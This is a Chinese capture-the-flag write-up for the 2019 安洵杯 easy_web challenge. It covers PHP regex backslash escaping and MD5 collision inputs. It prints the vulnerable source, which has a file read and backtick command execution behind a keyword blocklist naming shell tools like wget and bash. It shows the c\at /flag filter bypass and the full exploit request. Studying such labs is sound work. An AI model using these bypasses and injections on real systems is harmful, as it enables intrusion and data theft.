【PHP反斜杠正则匹配&MD5字符强等于&命令绕过】安洵杯2019 easy_web WriteUp

前景知识:

MD5字符碰撞

对于以下PHP代码:

1
2
3
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo "yes";
}

当对ab参数用POST传入以下值时,即可输出yes

1
2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

验证如下:

1
2
3
4
5
6
7
8
9
<?php
$a = "%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2";
$b = "%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2";
echo md5(urldecode($a));
echo "\n";
echo md5(urldecode($b));
echo "\n";
var_dump(md5(urldecode($a)) === md5(urldecode($b)));
?>

输出:

1
2
3
008ee33a9d58b51cfeb425b0959121c9
008ee33a9d58b51cfeb425b0959121c9
bool(true)

PHP正则匹配之3个反斜杠和4个反斜杠的区别

以下所有代码都在PHP 7.4.1的版本下测试

先说结论:

下方有表格结论!

在PHP正则匹配中,想要精确匹配一个反斜杠,正则表达式应该写三个反斜杠,想要匹配两个反斜杠,正则表达式里应该要写四个反斜杠,正则表达式里用四个反斜杠也是可以匹配到一个或者两个反斜杠的。(这是为什么呢?呆

img

下方的$a变量是待匹配的字符串$pattern就是我们的正则表达式

1
2
3
4
5
6
7
<?php 
$a = '\\';
$pattern = '/\\\/';
$res = preg_match($pattern, $a);
var_dump($res);
?>
int(1)

然后从最简单的开始,在PHP中想要输出一个反斜杠,代码如下:

1
2
3
<?php
echo '\\';
?>

也就是需要两个反斜杠,因为反斜杠需要转义(废话

按照我们正常的思维,只需要在正则表达式中写\\应该就可以匹配一个反斜杠了

然鹅,来看看当正则表达式中只写两个反斜杠的结果:

1
2
3
4
5
6
7
<?php 
$a = '\\';
$pattern = '/\\/';
$res = preg_match($pattern, $a);
echo $res;
?>
Warning: preg_match(): No ending delimiter '/' found in /box/script.php on line 4

可以看到,编译器爆Warning,但只是Warning,代码应该是可以正常执行的,然而我们也没有看到有$res变量输出出来。

既然echo不出来,那就用var_dump

1
2
3
4
5
6
7
8
<?php 
$a = '\\';
$pattern = '/\\/';
$res = preg_match($pattern, $a);
var_dump($res);
?>
Warning: preg_match(): No ending delimiter '/' found in /box/script.php on line 4
bool(false)

可以看到,好家伙,$res变量直接变成了布尔值false

这一个Warning是报错preg_match函数,首先$a变量是肯定没有问题的,输出值时一个反斜杠,所以问题就一定出在$pattern正则表达式中。

我们把$pattern打印出来看看

1
2
3
4
5
6
7
8
<?php 
$a = '\\';
$pattern = '/\\/';
$res = preg_match($pattern, $a);
var_dump($pattern);
?>
Warning: preg_match(): No ending delimiter '/' found in /box/script.php on line 4
string(3) "/\/"

忽略原本就有的Warning报错,可以看到,传入的正则表达式就只剩一个反斜杠了(那我匹配个锤

猜测是$pattern被单独设置成变量的问题,也就是说,我们不设置这么一个变量,直接在preg_match函数里面写正则表达式。

1
2
3
4
5
6
7
<?php 
$a = '\\';
$res = preg_match('/\\/', $a);
var_dump($res);
?>
Warning: preg_match(): No ending delimiter '/' found in /box/script.php on line 3
bool(false)

还是Warning 报错,并且返回值是布尔值false

那我们多加一个反斜杠呢?

1
2
3
4
5
6
7
<?php 
$a = '\\';
$pattern = '/\\\/';
$res = preg_match($pattern, $a);
var_dump($res);
?>
int(1)

这下才匹配成功一个反斜杠

接下来试试在正则表达式中写入四个反斜杠,看看会发生什么(正则表达式:我不是人,但你是真的狗

1
2
3
4
5
6
7
<?php 
$a = '\\';
$pattern = '/\\\\/';
$res = preg_match($pattern, $a);
var_dump($res);
?>
int(1)

好家伙,还能匹配成功?

先把$pattern打印出来看看

1
2
3
4
5
6
7
<?php 
$a = '\\';
$pattern = '/\\\\/';
$res = preg_match($pattern, $a);
var_dump($pattern);
?>
string(4) "/\\/"

可以看到,这个时候$pattern变量中有两个反斜杠(这我还能理解

那我要是五个反斜杠呢?(正则表达式:我已经习惯了

1
2
3
4
5
6
7
8
<?php 
$a = '\\';
$pattern = '/\\\\\/';
$res = preg_match($pattern, $a);
var_dump($res);
?>
Warning: preg_match(): No ending delimiter '/' found in /box/script.php on line 4
bool(false)

可以看到直接Warning 报错,打印输出一下$pattern

1
2
3
4
5
6
7
8
<?php 
$a = '\\';
$pattern = '/\\\\\/';
$res = preg_match($pattern, $a);
var_dump($pattern);
?>
Warning: preg_match(): No ending delimiter '/' found in /box/script.php on line 4
string(5) "/\\\/"

结论:

对于以下PHP代码:

1
2
3
4
5
6
<?php 
$a = '\\\\\\';
$pattern = '/\\\\\\\\\\\/';
$res = preg_match($pattern, $a);
var_dump($res);
?>

有以下结论:

正则表达式中反斜杠的数量(即上方pattern变量反斜杠的数量) 能匹配到的反斜杠的数量(即上方a变量反斜杠数的一半)
1 报错
2 报错
3 精确匹配1个,也可以匹配2,3,4,5……
4 能匹配1,2,3,4,5,……
5 报错
6 报错
7 不能匹配1个,可以匹配2,3,4,5……
8 不能匹配1个,可以匹配2,3,4,5……
9 报错
10 报错
11 不能匹配1,2个,可以匹配3,4,5,6……

WriteUp:

打开题目,界面如下:

image-20210718161636985

可以观察到浏览器的URL地址中有两个参数:imgcmd

其中img的值是文件名经过一次16进制编码和两次base64编码

cmd自然是命令执行

因此我们将index.php进行先进行一次16进制编码,再进行两次base64编码得到以下内容

1
2
3
4
index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

img传入:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

可以在浏览器得到index.php的源码

image-20210718162105111

1
PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=

base64解码后得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

题目BUG:

先看第一层if

1
if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))

由于在正则中用\\\才能匹配到一个\,所以实际上上方的正则并没有过滤掉\

因此,想要cat /flag 直接输入c\at%20/flag即可

(注意:这道题的正则很奇怪,按道理正则会匹配到一个反斜杠,但是实际上不会,应该是正则表达式没写好出了个bug吧

下方是题目的:

1
2
3
4
5
6
<?php 
$cmd = "c\at%20/flag";
$res = preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd);
var_dump($res);
?>
int(0)

换成简单一点:

1
2
3
4
5
6
<?php 
$cmd = "c\at%20/flag";
$res = preg_match("/\\|\\\\/i", $cmd);
var_dump($res);
?>
int(0)

还是返回0

如果是四个反斜杠,根据前景知识,是会返回1,没有问题

1
2
3
4
5
6
<?php 
$cmd = "c\at%20/flag";
$res = preg_match("/\\\\/i", $cmd);
var_dump($res);
?>
int(1)

如果是两个反斜杠,根据前景知识,是会报错

1
2
3
4
5
6
7
<?php 
$cmd = "c\at%20/flag";
$res = preg_match("/\\/i", $cmd);
var_dump($res);
?>
Warning: preg_match(): No ending delimiter '/' found in /box/script.php on line 3
bool(false)

之所以前面又有两个反斜杠,又有四个反斜杠不会报错,初步估计是竖线被转义了(应该是题目正则没写好

所以想要稳稳妥妥地匹配1个反斜杠,就在正则表达式里写3个反斜杠

对于第二层if

可以看到需要我们POST传入a和b

1
2
3
4
5
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}

根据前景知识,分别对a和b传入以下值即可

1
2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

所以http请求如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=c\at%20/flag HTTP/1.1

Host: b94c67c5-3967-42f0-b5cb-2316f9fe71b2.node4.buuoj.cn

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh

Accept-Encoding: gzip, deflate

Referer: http://b94c67c5-3967-42f0-b5cb-2316f9fe71b2.node4.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

Content-Type: application/x-www-form-urlencoded

Content-Length: 389

Connection: close

Upgrade-Insecure-Requests: 1



a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

image-20210718162946695

即可得到flag:flag{c569395c-fa72-4493-a2af-cd7db004155b}